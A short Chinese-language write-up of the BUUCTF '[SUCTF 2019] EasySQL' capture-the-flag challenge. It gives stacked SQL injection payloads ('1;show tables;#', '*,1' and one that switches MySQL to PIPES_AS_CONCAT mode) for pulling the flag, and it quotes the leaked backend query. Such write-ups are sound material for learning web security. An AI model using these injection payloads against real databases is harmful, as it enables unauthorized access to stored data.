BUUCTF-[SUCTF 2019]EasySQL

打开题目,
在这里插入图片描述

测试发现过滤了很多字符,不过可以堆叠注入:

1;show tables;#

BUUCTF-[SUCTF 2019]EasySQL_第1张图片
然后尝试读取表Flag,
发现union,prepare,handler等都过滤了,基本我会的方法都过滤了。。。

看了看wp,说是比赛时题目泄露了源码

select $_GET['query'] || flag from flag

然后有两种解

解题思路1:

payload:*,1

查询语句:select *,1||flag from Flag


解题思路2:

payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

解析:

  • 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。
  • 但在mysql 缺省不支持。需要调整mysql 的sql_mode
    模式:pipes_as_concat 来实现oracle 的一些功能。

总结:算是积累了一个知识点吧,不过我要是不知道源码真不会做,有的大佬说根据回显看出来后台语句。。。膜拜大佬。

你可能感兴趣的:(BUUCTF)